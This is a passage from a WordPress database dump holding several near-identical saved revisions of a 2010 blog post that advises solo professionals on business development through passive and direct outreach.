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(1018, 2, '2010-08-02 15:55:58', '2010-08-02 22:55:58', '<img class="alignnone size-full wp-image-1003" title="bizdev" src="http://whc.fbdev.org/wp-content/uploads/2010/08/bizdev.gif" alt="" width="500" height="221" />\r\n<h2 style="text-align: left;">Many solo professionals struggle  with the discipline to maintain effective new business strategies  relying instead on referrals. There is a better  way to build your new business chops.</h2>\r\n<div>\r\n\r\nHow do you feel about the effectiveness  of your business development initiatives?  We all recognize new clients  are of vital importance, however many solo professionals only do  business development activities when they’re not engaged with the  demands of their paying clients. If you want your business to grow, your  business development strategies and tactics must be working for you all  the time regardless of how busy you are with your current clients.  Unlike referrals, sustained business development activities will create  predictability in your business. Business development is an imperative  you cannot ignore if you are to have a thriving business.\r\n\r\n<strong>Business development is not selling.</strong>\r\n\r\nSelling is about creating and presenting your solution to a specific  problem the client-to be has shared with you after much conversation.   Business development involves a lengthy process of turning suspects into  prospects. The objective of your business development activities is to  have a full pipeline or funnel of qualified prospects that may do  business with you in the future– usually six months to a year down the  road.\r\n\r\nYour business development strategy must enable you to discover,  attract, and qualify only those prospects who are a good fit for you,  value your expertise, and will pay a premium fee for the solution you  provide.  To accomplish this, you must first articulate a specialized  value proposition around your expertise, and position your value  proposition in the minds of prospects in a manner that separates and  distinguishes you from your competitors.\r\n\r\n<strong>Be a value-creator not an order-taker.</strong>\r\n\r\nTo increase your influence in the buying cycle, you must center your  business development strategy on building a  “value-creator”  positioning. The reality we all face today is clients have abundant  choice. The basic economic principle of supply and demand governs the  price of literally every product or service. When your prospective  clients have abundant choice, you will most likely have little or no  power in the buying cycle.  Clients will naturally be focused on  obtaining your services at the lowest price possible.\r\n\r\nValue-creators are highly paid specialists–known for their expertise  in either a professional discipline (PR, web developer, writer,  designer, etc.) and / or a specific market vertical, (apparel, packaged  goods, legal, health care, etc.)  Value-creators build their business and  reputations on deep and narrow expertise. On the other hand,  order-takers are usually generalists who try to be all things to all  people. They are in abundant supply and always compete on price.\r\n<h2><span style="color: #808080;">When you position your expertise as a specialized value-creator, your  business development activities will automatically be more focused and  productive. </span></h2>\r\nYou will more easily be able to identify your prospects and  build your database accordingly.  Also, your ability to attract  clients-to-be will not be limited by your location because clients who  require your expertise can come from everywhere. This expands your  potential for new business opportunities exponentially!\r\n\r\n<strong>Turning an interruption into a conversation.</strong>\r\n\r\nOnce you’ve made the decisions about your specialized positioning,  and your positioning is properly reflected and stated on your website  and other marketing material, you will be building your database of  suspects and reaching out to them in some fashion. Business development  means you will have to interrupt people.  Of course no one likes to be  interrupted. That’s why you must understand that the business  development process is not about creating business next week.  Business  development involves a long process of turning an interruption into a  conversation.  There are two types of outbound business development  communication to your suspect list– passive and direct outreach.  Both  are necessary to align your efforts to the buying cycle of your  clients-to-be.\r\n\r\n<em>Passive Outreach</em>\r\nPassive outreach is a business  development process focused on creating awareness to your business. This  may sound like a colossal understatement, but how you create awareness  has an important impact on your ability to turn an interruption into a  conversation.  The best method for accomplishing this is to continuously  share your expertise and knowledge with your targeted tribe of  clients-to-be.  Here are some items to consider in building passive  awareness:\r\n<ul>\r\n	<li>create      a blog and write about what you know will be valuable  and useful to your      target audience. Make sure people can easily  subscribe to receive your      blog articles directly.</li>\r\n	<li>Submit      articles and white papers to other bloggers and offline publications in      your area of expertise.</li>\r\n	<li>Develop      a long-term strategy for using social media, and begin  to participate in      the online dialogue that is exploding right now  in every professional      discipline.</li>\r\n	<li>Become      a featured speaker or panelist at business conferences  and events centered      on your particular area of expertise.</li>\r\n	<li>Use      email marketing to distribute your content, share news and  information to      your target audience of suspect clients-to-be. Make  sure you comply with      all the protocols and regulations surrounding  spam.</li>\r\n</ul>\r\n<h2><span style="color: #808080;">These passive outreach activities should <em>never</em> involve  direct solicitations for business. At this level, your focus should be  about adding goodwill to the collective dialogue your clients-to-be are  interested in.  This builds trust, which in turn builds credibility to  your claim of expertise.</span></h2>\r\nDone properly, your passive outreach business  development efforts will create opportunities for you to respond to  inbound inquiries from prospective clients you are seeking your  specialized expertise. I like to think of passive outreach as chumming  the water to attract the fish.\r\n\r\n<em>Direct Outreach</em>\r\nYou might automatically associate direct  outreach as cold calling. I never cold call and you shouldn’t either.  (Unless you enjoy rejection). Direct outreach is also about creating  awareness to your expertise, but the methods are more highly targeted  and involve some form of incentive for your client-to-be to reward you  with the time of day. The advantage of direct outreach initiatives is  the potential for discovering more near-term opportunity that you can  effectively qualify as a good fit for your expertise.  Of course, there  are many tactics you can utilize, but here is the process I believe is  most effective in early stage direct outreach:\r\n<ul>\r\n	<li>Send a      snail mail introduction letter to a prospect. The letter  must be brief (no      longer than your little finger).       In the  letter you       “invite” them to visit your blog/site so they can  access your      knowledge sharing, become of aware of your specialized  expertise and learn      how other companies have benefited from their  association with you.      Enclose your business card with the letter.</li>\r\n	<li>In      those instances when you have <em>real knowledge</em> that a  client-to-be is currently seeking a solution to a specific       problem, you may outline in your introduction letter /email your       capabilities and experience in providing a solution.  You may attach  appropriate case      studies as proof of your expertise.</li>\r\n	<li>Follow      up your introduction with a phone call to qualify their  interest, and your      capacity to be a good fit for them. Ask only for  their permission to      include them on your mailing list, or to be  subscribed to your blog posts.  Usually you will do this as a      voice  mail message. I suggest simply stating your return number and your       email address.</li>\r\n</ul>\r\n<h2 style="text-align: left;"><span style="color: #808080;">I suggest in these early direct outreach communications that you <em>do not </em>ask  for an appointment to a sales presentation.</span></h2>\r\nRemember you goal is to  establish awareness and credibility only! People simply do not have time  to attend random webinars and sales presentations at this early stage.  Believe me, if the client-to-be sees a good fit and they have a current  need, they’ll let you know.\r\n\r\n<strong>Inbound conversation is the goal of outbound business development.</strong>\r\n\r\nAs a stated earlier, business development is not selling!  The goal  of business development is to drive inbound conversations with  clients-to-be and focus those conversations on discovering if there is a  good fit between their need and your capacity to add value to them.   Once that conversation starts, you have moved into a deeper phase in the  sales cycle with the client-to-be. To work effectively, you must maintain the on-going discipline to  actively pursue passive and direct outreach to your prospects.\r\n\r\n<strong>If you  are to grow your business beyond referrals, business development  activities must be consistent and focused on turning suspects into  prospects and your interruptions into valuable conversations.</strong>\r\n\r\n</div>', 'How To Turn an Interruption into a Conversation and Other Smart Strategies for Business Development', 0, '', 'inherit', 'open', 'open', '', '1002-revision-15', '', '', '2010-08-02 15:55:58', '2010-08-02 22:55:58', '', 1002, 'http://www.whitehotcenter.com/2010/08/02/1002-revision-15/', 0, 'revision', '', 0),
(1013, 2, '2010-08-02 15:51:54', '2010-08-02 22:51:54', '<img class="alignnone size-full wp-image-1003" title="bizdev" src="http://whc.fbdev.org/wp-content/uploads/2010/08/bizdev.gif" alt="" width="500" height="221" />\r\n<h2 style="text-align: left;">Many solo professionals struggle  with the discipline to maintain effective new business strategies  relying instead on the unpredictability of referrals. There is a better  way to build your new business chops.</h2>\r\n<div>\r\n\r\nHow do you feel about the effectiveness  of your business development initiatives?  We all recognize new clients  are of vital importance, however many solo professionals only do  business development activities when they’re not engaged with the  demands of their paying clients. If you want your business to grow, your  business development strategies and tactics must be working for you all  the time regardless of how busy you are with your current clients.  Unlike referrals, sustained business development activities will create  predictability in your business. Business development is an imperative  you cannot ignore if you are to have a thriving business.\r\n\r\n<strong>Business development is not selling.</strong>\r\n\r\nSelling is about creating and presenting your solution to a specific  problem the client-to be has shared with you after much conversation.   Business development involves a lengthy process of turning suspects into  prospects. The objective of your business development activities is to  have a full pipeline or funnel of qualified prospects that may do  business with you in the future– usually six months to a year down the  road.\r\n\r\nYour business development strategy must enable you to discover,  attract, and qualify only those prospects who are a good fit for you,  value your expertise, and will pay a premium fee for the solution you  provide.  To accomplish this, you must first articulate a specialized  value proposition around your expertise, and position your value  proposition in the minds of prospects in a manner that separates and  distinguishes you from your competitors.\r\n\r\n<strong>Be a value-creator not an order-taker.</strong>\r\n\r\nTo increase your influence in the buying cycle, you must center your  business development strategy on building a  “value-creator”  positioning. The reality we all face today is clients have abundant  choice. The basic economic principle of supply and demand governs the  price of literally every product or service. When your prospective  clients have abundant choice, you will most likely have little or no  power in the buying cycle.  Clients will naturally be focused on  obtaining your services at the lowest price possible.\r\n\r\nValue-creators are highly paid specialists–known for their expertise  in either a professional discipline (PR, web developer, writer,  designer, etc.) and / or a specific market vertical, (apparel, packaged  goods, legal, health care, etc.)  Value-creators build their business and  reputations on deep and narrow expertise. On the other hand,  order-takers are usually generalists who try to be all things to all  people. They are in abundant supply and always compete on price.\r\n<h2><span style="color: #808080;">When you position your expertise as a specialized value-creator, your  business development activities will automatically be more focused and  productive. </span></h2>\r\nYou will more easily be able to identify your prospects and  build your database accordingly.  Also, your ability to attract  clients-to-be will not be limited by your location because clients who  require your expertise can come from everywhere. This expands your  potential for new business opportunities exponentially!\r\n\r\n<strong>Turning an interruption into a conversation.</strong>\r\n\r\nOnce you’ve made the decisions about your specialized positioning,  and your positioning is properly reflected and stated on your website  and other marketing material, you will be building your database of  suspects and reaching out to them in some fashion. Business development  means you will have to interrupt people.  Of course no one likes to be  interrupted. That’s why you must understand that the business  development process is not about creating business next week.  Business  development involves a long process of turning an interruption into a  conversation.  There are two types of outbound business development  communication to your suspect list– passive and direct outreach.  Both  are necessary to align your efforts to the buying cycle of your  clients-to-be.\r\n\r\n<em>Passive Outreach</em>\r\nPassive outreach is a business  development process focused on creating awareness to your business. This  may sound like a colossal understatement, but how you create awareness  has an important impact on your ability to turn an interruption into a  conversation.  The best method for accomplishing this is to continuously  share your expertise and knowledge with your targeted tribe of  clients-to-be.  Here are some items to consider in building passive  awareness:\r\n<ul>\r\n	<li>create      a blog and write about what you know will be valuable  and useful to your      target audience. Make sure people can easily  subscribe to receive your      blog articles directly.</li>\r\n	<li>Submit      articles and white papers to other bloggers and offline publications in      your area of expertise.</li>\r\n	<li>Develop      a long-term strategy for using social media, and begin  to participate in      the online dialogue that is exploding right now  in every professional      discipline.</li>\r\n	<li>Become      a featured speaker or panelist at business conferences  and events centered      on your particular area of expertise.</li>\r\n	<li>Use      email marketing to distribute your content, share news and  information to      your target audience of suspect clients-to-be. Make  sure you comply with      all the protocols and regulations surrounding  spam.</li>\r\n</ul>\r\n<h2><span style="color: #808080;">These passive outreach activities should <em>never</em> involve  direct solicitations for business. At this level, your focus should be  about adding goodwill to the collective dialogue your clients-to-be are  interested in.  This builds trust, which in turn builds credibility to  your claim of expertise.</span></h2>\r\nDone properly, your passive outreach business  development efforts will create opportunities for you to respond to  inbound inquiries from prospective clients you are seeking your  specialized expertise. I like to think of passive outreach as chumming  the water to attract the fish.\r\n\r\n<em>Direct Outreach</em>\r\nYou might automatically associate direct  outreach as cold calling. I never cold call and you shouldn’t either.  (Unless you enjoy rejection). Direct outreach is also about creating  awareness to your expertise, but the methods are more highly targeted  and involve some form of incentive for your client-to-be to reward you  with the time of day. The advantage of direct outreach initiatives is  the potential for discovering more near-term opportunity that you can  effectively qualify as a good fit for your expertise.  Of course, there  are many tactics you can utilize, but here is the process I believe is  most effective in early stage direct outreach:\r\n<ul>\r\n	<li>Send a      snail mail introduction letter to a prospect. The letter  must be brief (no      longer than your little finger).       In the  letter you       “invite” them to visit your blog/site so they can  access your      knowledge sharing, become of aware of your specialized  expertise and learn      how other companies have benefited from their  association with you.      Enclose your business card with the letter.</li>\r\n	<li>In      those instances when you have <em>real knowledge</em> that a  client-to-be is currently seeking a solution to a specific       problem, you may outline in your introduction letter /email your       capabilities and experience in providing a solution.  You may attach  appropriate case      studies as proof of your expertise.</li>\r\n	<li>Follow      up your introduction with a phone call to qualify their  interest, and your      capacity to be a good fit for them. Ask only for  their permission to      include them on your mailing list, or to be  subscribed to your blog posts.  Usually you will do this as a      voice  mail message. I suggest simply stating your return number and your       email address.</li>\r\n</ul>\r\n<h2 style="text-align: left;"><span style="color: #808080;">I suggest in these early direct outreach communications that you <em>do not </em>ask  for an appointment to a sales presentation.</span></h2>\r\nRemember you goal is to  establish awareness and credibility only! People simply do not have time  to attend random webinars and sales presentations at this early stage.  Believe me, if the client-to-be sees a good fit and they have a current  need, they’ll let you know.\r\n\r\n<strong>Inbound conversation is the goal of outbound business development.</strong>\r\n\r\nAs a stated earlier, business development is not selling!  The goal  of business development is to drive inbound conversations with  clients-to-be and focus those conversations on discovering if there is a  good fit between their need and your capacity to add value to them.   Once that conversation starts, you have moved into a deeper phase in the  sales cycle with the client-to-be. To work effectively, you must maintain the on-going discipline to  actively pursue passive and direct outreach to your prospects.\r\n\r\n<strong>If you  are to grow your business beyond referrals, business development  activities must be consistent and focused on turning suspects into  prospects and your interruptions into valuable conversations.</strong>\r\n\r\n</div>', 'How To Turn an Interruption into a Conversation and Other Smart Strategies for Business Development', 0, '', 'inherit', 'open', 'open', '', '1002-revision-10', '', '', '2010-08-02 15:51:54', '2010-08-02 22:51:54', '', 1002, 'http://www.whitehotcenter.com/2010/08/02/1002-revision-10/', 0, 'revision', '', 0),
(1014, 2, '2010-08-02 15:52:04', '2010-08-02 22:52:04', '<img class="alignnone size-full wp-image-1003" title="bizdev" src="http://whc.fbdev.org/wp-content/uploads/2010/08/bizdev.gif" alt="" width="500" height="221" />\r\n<h2 style="text-align: left;">Many solo professionals struggle  with the discipline to maintain effective new business strategies  relying instead on the unpredictability of referrals. There is a better  way to build your new business chops.</h2>\r\n<div>\r\n\r\nHow do you feel about the effectiveness  of your business development initiatives?  We all recognize new clients  are of vital importance, however many solo professionals only do  business development activities when they’re not engaged with the  demands of their paying clients. If you want your business to grow, your  business development strategies and tactics must be working for you all  the time regardless of how busy you are with your current clients.  Unlike referrals, sustained business development activities will create  predictability in your business. Business development is an imperative  you cannot ignore if you are to have a thriving business.\r\n\r\n<strong>Business development is not selling.</strong>\r\n\r\nSelling is about creating and presenting your solution to a specific  problem the client-to be has shared with you after much conversation.   Business development involves a lengthy process of turning suspects into  prospects. The objective of your business development activities is to  have a full pipeline or funnel of qualified prospects that may do  business with you in the future– usually six months to a year down the  road.\r\n\r\nYour business development strategy must enable you to discover,  attract, and qualify only those prospects who are a good fit for you,  value your expertise, and will pay a premium fee for the solution you  provide.  To accomplish this, you must first articulate a specialized  value proposition around your expertise, and position your value  proposition in the minds of prospects in a manner that separates and  distinguishes you from your competitors.\r\n\r\n<strong>Be a value-creator not an order-taker.</strong>\r\n\r\nTo increase your influence in the buying cycle, you must center your  business development strategy on building a  “value-creator”  positioning. The reality we all face today is clients have abundant  choice. The basic economic principle of supply and demand governs the  price of literally every product or service. When your prospective  clients have abundant choice, you will most likely have little or no  power in the buying cycle.  Clients will naturally be focused on  obtaining your services at the lowest price possible.\r\n\r\nValue-creators are highly paid specialists–known for their expertise  in either a professional discipline (PR, web developer, writer,  designer, etc.) and / or a specific market vertical, (apparel, packaged  goods, legal, health care, etc.)  Value-creators build their business and  reputations on deep and narrow expertise. On the other hand,  order-takers are usually generalists who try to be all things to all  people. They are in abundant supply and always compete on price.\r\n<h2><span style="color: #808080;">When you position your expertise as a specialized value-creator, your  business development activities will automatically be more focused and  productive. </span></h2>\r\nYou will more easily be able to identify your prospects and  build your database accordingly.  Also, your ability to attract  clients-to-be will not be limited by your location because clients who  require your expertise can come from everywhere. This expands your  potential for new business opportunities exponentially!\r\n\r\n<strong>Turning an interruption into a conversation.</strong>\r\n\r\nOnce you’ve made the decisions about your specialized positioning,  and your positioning is properly reflected and stated on your website  and other marketing material, you will be building your database of  suspects and reaching out to them in some fashion. Business development  means you will have to interrupt people.  Of course no one likes to be  interrupted. That’s why you must understand that the business  development process is not about creating business next week.  Business  development involves a long process of turning an interruption into a  conversation.  There are two types of outbound business development  communication to your suspect list– passive and direct outreach.  Both  are necessary to align your efforts to the buying cycle of your  clients-to-be.\r\n\r\n<em>Passive Outreach</em>\r\nPassive outreach is a business  development process focused on creating awareness to your business. This  may sound like a colossal understatement, but how you create awareness  has an important impact on your ability to turn an interruption into a  conversation.  The best method for accomplishing this is to continuously  share your expertise and knowledge with your targeted tribe of  clients-to-be.  Here are some items to consider in building passive  awareness:\r\n<ul>\r\n	<li>create      a blog and write about what you know will be valuable  and useful to your      target audience. Make sure people can easily  subscribe to receive your      blog articles directly.</li>\r\n	<li>Submit      articles and white papers to other bloggers and offline publications in      your area of expertise.</li>\r\n	<li>Develop      a long-term strategy for using social media, and begin  to participate in      the online dialogue that is exploding right now  in every professional      discipline.</li>\r\n	<li>Become      a featured speaker or panelist at business conferences  and events centered      on your particular area of expertise.</li>\r\n	<li>Use      email marketing to distribute your content, share news and  information to      your target audience of suspect clients-to-be. Make  sure you comply with      all the protocols and regulations surrounding  spam.</li>\r\n</ul>\r\n<h2><span style="color: #808080;">These passive outreach activities should <em>never</em> involve  direct solicitations for business. At this level, your focus should be  about adding goodwill to the collective dialogue your clients-to-be are  interested in.  This builds trust, which in turn builds credibility to  your claim of expertise.</span></h2>\r\nDone properly, your passive outreach business  development efforts will create opportunities for you to respond to  inbound inquiries from prospective clients you are seeking your  specialized expertise. I like to think of passive outreach as chumming  the water to attract the fish.\r\n\r\n<em>Direct Outreach</em>\r\nYou might automatically associate direct  outreach as cold calling. I never cold call and you shouldn’t either.  (Unless you enjoy rejection). Direct outreach is also about creating  awareness to your expertise, but the methods are more highly targeted  and involve some form of incentive for your client-to-be to reward you  with the time of day. The advantage of direct outreach initiatives is  the potential for discovering more near-term opportunity that you can  effectively qualify as a good fit for your expertise.  Of course, there  are many tactics you can utilize, but here is the process I believe is  most effective in early stage direct outreach:\r\n<ul>\r\n	<li>Send a      snail mail introduction letter to a prospect. The letter  must be brief (no      longer than your little finger).       In the  letter you       “invite” them to visit your blog/site so they can  access your      knowledge sharing, become of aware of your specialized  expertise and learn      how other companies have benefited from their  association with you.      Enclose your business card with the letter.</li>\r\n	<li>In      those instances when you have <em>real knowledge</em> that a  client-to-be is currently seeking a solution to a specific       problem, you may outline in your introduction letter /email your       capabilities and experience in providing a solution.  You may attach  appropriate case      studies as proof of your expertise.</li>\r\n	<li>Follow      up your introduction with a phone call to qualify their  interest, and your      capacity to be a good fit for them. Ask only for  their permission to      include them on your mailing list, or to be  subscribed to your blog posts.  Usually you will do this as a      voice  mail message. I suggest simply stating your return number and your       email address.</li>\r\n</ul>\r\n<h2 style="text-align: left;"><span style="color: #808080;">I suggest in these early direct outreach communications that you <em>do not </em>ask  for an appointment to a sales presentation.</span></h2>\r\nRemember you goal is to  establish awareness and credibility only! People simply do not have time  to attend random webinars and sales presentations at this early stage.  Believe me, if the client-to-be sees a good fit and they have a current  need, they’ll let you know.\r\n\r\n<strong>Inbound conversation is the goal of outbound business development.</strong>\r\n\r\nAs a stated earlier, business development is not selling!  The goal  of business development is to drive inbound conversations with  clients-to-be and focus those conversations on discovering if there is a  good fit between their need and your capacity to add value to them.   Once that conversation starts, you have moved into a deeper phase in the  sales cycle with the client-to-be. To work effectively, you must maintain the on-going discipline to  actively pursue passive and direct outreach to your prospects.\r\n\r\n<strong>If you  are to grow your business beyond referrals, business development  activities must be consistent and focused on turning suspects into  prospects and your interruptions into valuable conversations.</strong>\r\n\r\n</div>', 'How To Turn an Interruption into a Conversation and Other Smart Strategies for Business Development', 0, '', 'inherit', 'open', 'open', '', '1002-revision-11', '', '', '2010-08-02 15:52:04', '2010-08-02 22:52:04', '', 1002, 'http://www.whitehotcenter.com/2010/08/02/1002-revision-11/', 0, 'revision', '', 0),
(1015, 2, '2010-08-02 15:54:20', '2010-08-02 22:54:20', '<img class="alignnone size-full wp-image-1003" title="bizdev" src="http://whc.fbdev.org/wp-content/uploads/2010/08/bizdev.gif" alt="" width="500" height="221" />\r\n<h2 style="text-align: left;">Many solo professionals struggle  with the discipline to maintain effective new business strategies  relying instead on the unpredictability of referrals. There is a better  way to build your new business chops.</h2>\r\n<div>\r\n\r\nHow do you feel about the effectiveness  of your business development initiatives?  We all recognize new clients  are of vital importance, however many solo professionals only do  business development activities when they’re not engaged with the  demands of their paying clients. If you want your business to grow, your  business development strategies and tactics must be working for you all  the time regardless of how busy you are with your current clients.  Unlike referrals, sustained business development activities will create  predictability in your business. Business development is an imperative  you cannot ignore if you are to have a thriving business.\r\n\r\n<strong>Business development is not selling.</strong>\r\n\r\nSelling is about creating and presenting your solution to a specific  problem the client-to be has shared with you after much conversation.   Business development involves a lengthy process of turning suspects into  prospects. The objective of your business development activities is to  have a full pipeline or funnel of qualified prospects that may do  business with you in the future– usually six months to a year down the  road.\r\n\r\nYour business development strategy must enable you to discover,  attract, and qualify only those prospects who are a good fit for you,  value your expertise, and will pay a premium fee for the solution you  provide.  To accomplish this, you must first articulate a specialized  value proposition around your expertise, and position your value  proposition in the minds of prospects in a manner that separates and  distinguishes you from your competitors.\r\n\r\n<strong>Be a value-creator not an order-taker.</strong>\r\n\r\nTo increase your influence in the buying cycle, you must center your  business development strategy on building a  “value-creator”  positioning. The reality we all face today is clients have abundant  choice. The basic economic principle of supply and demand governs the  price of literally every product or service. When your prospective  clients have abundant choice, you will most likely have little or no  power in the buying cycle.  Clients will naturally be focused on  obtaining your services at the lowest price possible.\r\n\r\nValue-creators are highly paid specialists–known for their expertise  in either a professional discipline (PR, web developer, writer,  designer, etc.) and / or a specific market vertical, (apparel, packaged  goods, legal, health care, etc.)  Value-creators build their business and  reputations on deep and narrow expertise. On the other hand,  order-takers are usually generalists who try to be all things to all  people. They are in abundant supply and always compete on price.\r\n<h2><span style="color: #808080;">When you position your expertise as a specialized value-creator, your  business development activities will automatically be more focused and  productive. </span></h2>\r\nYou will more easily be able to identify your prospects and  build your database accordingly.  Also, your ability to attract  clients-to-be will not be limited by your location because clients who  require your expertise can come from everywhere. This expands your  potential for new business opportunities exponentially!\r\n\r\n<strong>Turning an interruption into a conversation.</strong>\r\n\r\nOnce you’ve made the decisions about your specialized positioning,  and your positioning is properly reflected and stated on your website  and other marketing material, you will be building your database of  suspects and reaching out to them in some fashion. Business development  means you will have to interrupt people.  Of course no one likes to be  interrupted. That’s why you must understand that the business  development process is not about creating business next week.  Business  development involves a long process of turning an interruption into a  conversation.  There are two types of outbound business development  communication to your suspect list– passive and direct outreach.  Both  are necessary to align your efforts to the buying cycle of your  clients-to-be.\r\n\r\n<em>Passive Outreach</em>\r\nPassive outreach is a business  development process focused on creating awareness to your business. This  may sound like a colossal understatement, but how you create awareness  has an important impact on your ability to turn an interruption into a  conversation.  The best method for accomplishing this is to continuously  share your expertise and knowledge with your targeted tribe of  clients-to-be.  Here are some items to consider in building passive  awareness:\r\n<ul>\r\n	<li>create      a blog and write about what you know will be valuable  and useful to your      target audience. Make sure people can easily  subscribe to receive your      blog articles directly.</li>\r\n	<li>Submit      articles and white papers to other bloggers and offline publications in      your area of expertise.</li>\r\n	<li>Develop      a long-term strategy for using social media, and begin  to participate in      the online dialogue that is exploding right now  in every professional      discipline.</li>\r\n	<li>Become      a featured speaker or panelist at business conferences  and events centered      on your particular area of expertise.</li>\r\n	<li>Use      email marketing to distribute your content, share news and  information to      your target audience of suspect clients-to-be. Make  sure you comply with      all the protocols and regulations surrounding  spam.</li>\r\n</ul>\r\n<h2><span style="color: #808080;">These passive outreach activities should <em>never</em> involve  direct solicitations for business. At this level, your focus should be  about adding goodwill to the collective dialogue your clients-to-be are  interested in.  This builds trust, which in turn builds credibility to  your claim of expertise.</span></h2>\r\nDone properly, your passive outreach business  development efforts will create opportunities for you to respond to  inbound inquiries from prospective clients you are seeking your  specialized expertise. I like to think of passive outreach as chumming  the water to attract the fish.\r\n\r\n<em>Direct Outreach</em>\r\nYou might automatically associate direct  outreach as cold calling. I never cold call and you shouldn’t either.  (Unless you enjoy rejection). Direct outreach is also about creating  awareness to your expertise, but the methods are more highly targeted  and involve some form of incentive for your client-to-be to reward you  with the time of day. The advantage of direct outreach initiatives is  the potential for discovering more near-term opportunity that you can  effectively qualify as a good fit for your expertise.  Of course, there  are many tactics you can utilize, but here is the process I believe is  most effective in early stage direct outreach:\r\n<ul>\r\n	<li>Send a      snail mail introduction letter to a prospect. The letter  must be brief (no      longer than your little finger).       In the  letter you       “invite” them to visit your blog/site so they can  access your      knowledge sharing, become of aware of your specialized  expertise and learn      how other companies have benefited from their  association with you.      Enclose your business card with the letter.</li>\r\n	<li>In      those instances when you have <em>real knowledge</em> that a  client-to-be is currently seeking a solution to a specific       problem, you may outline in your introduction letter /email your       capabilities and experience in providing a solution.  You may attach  appropriate case      studies as proof of your expertise.</li>\r\n	<li>Follow      up your introduction with a phone call to qualify their  interest, and your      capacity to be a good fit for them. Ask only for  their permission to      include them on your mailing list, or to be  subscribed to your blog posts.  Usually you will do this as a      voice  mail message. I suggest simply stating your return number and your       email address.</li>\r\n</ul>\r\n<h2 style="text-align: left;"><span style="color: #808080;">I suggest in these early direct outreach communications that you <em>do not </em>ask  for an appointment to a sales presentation.</span></h2>\r\nRemember you goal is to  establish awareness and credibility only! People simply do not have time  to attend random webinars and sales presentations at this early stage.  Believe me, if the client-to-be sees a good fit and they have a current  need, they’ll let you know.\r\n\r\n<strong>Inbound conversation is the goal of outbound business development.</strong>\r\n\r\nAs a stated earlier, business development is not selling!  The goal  of business development is to drive inbound conversations with  clients-to-be and focus those conversations on discovering if there is a  good fit between their need and your capacity to add value to them.   Once that conversation starts, you have moved into a deeper phase in the  sales cycle with the client-to-be. To work effectively, you must maintain the on-going discipline to  actively pursue passive and direct outreach to your prospects.\r\n\r\n<strong>If you  are to grow your business beyond referrals, business development  activities must be consistent and focused on turning suspects into  prospects and your interruptions into valuable conversations.</strong>\r\n\r\n</div>', 'How To Turn an Interruption into a Conversation and Other Smart Strategies for Business Development', 0, '', 'inherit', 'open', 'open', '', '1002-revision-12', '', '', '2010-08-02 15:54:20', '2010-08-02 22:54:20', '', 1002, 'http://www.whitehotcenter.com/2010/08/02/1002-revision-12/', 0, 'revision', '', 0);
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(1016, 2, '2010-08-02 15:54:50', '2010-08-02 22:54:50', '<img class="alignnone size-full wp-image-1003" title="bizdev" src="http://whc.fbdev.org/wp-content/uploads/2010/08/bizdev.gif" alt="" width="500" height="221" />\r\n<h2 style="text-align: left;">Many solo professionals struggle  with the discipline to maintain effective new business strategies  relying instead on the unpredictability of referrals. There is a better  way to build your new business chops.</h2>\r\n<div>\r\n\r\nHow do you feel about the effectiveness  of your business development initiatives?  We all recognize new clients  are of vital importance, however many solo professionals only do  business development activities when they’re not engaged with the  demands of their paying clients. If you want your business to grow, your  business development strategies and tactics must be working for you all  the time regardless of how busy you are with your current clients.  Unlike referrals, sustained business development activities will create  predictability in your business. Business development is an imperative  you cannot ignore if you are to have a thriving business.\r\n\r\n<strong>Business development is not selling.</strong>\r\n\r\nSelling is about creating and presenting your solution to a specific  problem the client-to be has shared with you after much conversation.   Business development involves a lengthy process of turning suspects into  prospects. The objective of your business development activities is to  have a full pipeline or funnel of qualified prospects that may do  business with you in the future– usually six months to a year down the  road.\r\n\r\nYour business development strategy must enable you to discover,  attract, and qualify only those prospects who are a good fit for you,  value your expertise, and will pay a premium fee for the solution you  provide.  To accomplish this, you must first articulate a specialized  value proposition around your expertise, and position your value  proposition in the minds of prospects in a manner that separates and  distinguishes you from your competitors.\r\n\r\n<strong>Be a value-creator not an order-taker.</strong>\r\n\r\nTo increase your influence in the buying cycle, you must center your  business development strategy on building a  “value-creator”  positioning. The reality we all face today is clients have abundant  choice. The basic economic principle of supply and demand governs the  price of literally every product or service. When your prospective  clients have abundant choice, you will most likely have little or no  power in the buying cycle.  Clients will naturally be focused on  obtaining your services at the lowest price possible.\r\n\r\nValue-creators are highly paid specialists–known for their expertise  in either a professional discipline (PR, web developer, writer,  designer, etc.) and / or a specific market vertical, (apparel, packaged  goods, legal, health care, etc.)  Value-creators build their business and  reputations on deep and narrow expertise. On the other hand,  order-takers are usually generalists who try to be all things to all  people. They are in abundant supply and always compete on price.\r\n<h2><span style="color: #808080;">When you position your expertise as a specialized value-creator, your  business development activities will automatically be more focused and  productive. </span></h2>\r\nYou will more easily be able to identify your prospects and  build your database accordingly.  Also, your ability to attract  clients-to-be will not be limited by your location because clients who  require your expertise can come from everywhere. This expands your  potential for new business opportunities exponentially!\r\n\r\n<strong>Turning an interruption into a conversation.</strong>\r\n\r\nOnce you’ve made the decisions about your specialized positioning,  and your positioning is properly reflected and stated on your website  and other marketing material, you will be building your database of  suspects and reaching out to them in some fashion. Business development  means you will have to interrupt people.  Of course no one likes to be  interrupted. That’s why you must understand that the business  development process is not about creating business next week.  Business  development involves a long process of turning an interruption into a  conversation.  There are two types of outbound business development  communication to your suspect list– passive and direct outreach.  Both  are necessary to align your efforts to the buying cycle of your  clients-to-be.\r\n\r\n<em>Passive Outreach</em>\r\nPassive outreach is a business  development process focused on creating awareness to your business. This  may sound like a colossal understatement, but how you create awareness  has an important impact on your ability to turn an interruption into a  conversation.  The best method for accomplishing this is to continuously  share your expertise and knowledge with your targeted tribe of  clients-to-be.  Here are some items to consider in building passive  awareness:\r\n<ul>\r\n	<li>create      a blog and write about what you know will be valuable  and useful to your      target audience. Make sure people can easily  subscribe to receive your      blog articles directly.</li>\r\n	<li>Submit      articles and white papers to other bloggers and offline publications in      your area of expertise.</li>\r\n	<li>Develop      a long-term strategy for using social media, and begin  to participate in      the online dialogue that is exploding right now  in every professional      discipline.</li>\r\n	<li>Become      a featured speaker or panelist at business conferences  and events centered      on your particular area of expertise.</li>\r\n	<li>Use      email marketing to distribute your content, share news and  information to      your target audience of suspect clients-to-be. Make  sure you comply with      all the protocols and regulations surrounding  spam.</li>\r\n</ul>\r\n<h2><span style="color: #808080;">These passive outreach activities should <em>never</em> involve  direct solicitations for business. At this level, your focus should be  about adding goodwill to the collective dialogue your clients-to-be are  interested in.  This builds trust, which in turn builds credibility to  your claim of expertise.</span></h2>\r\nDone properly, your passive outreach business  development efforts will create opportunities for you to respond to  inbound inquiries from prospective clients you are seeking your  specialized expertise. I like to think of passive outreach as chumming  the water to attract the fish.\r\n\r\n<em>Direct 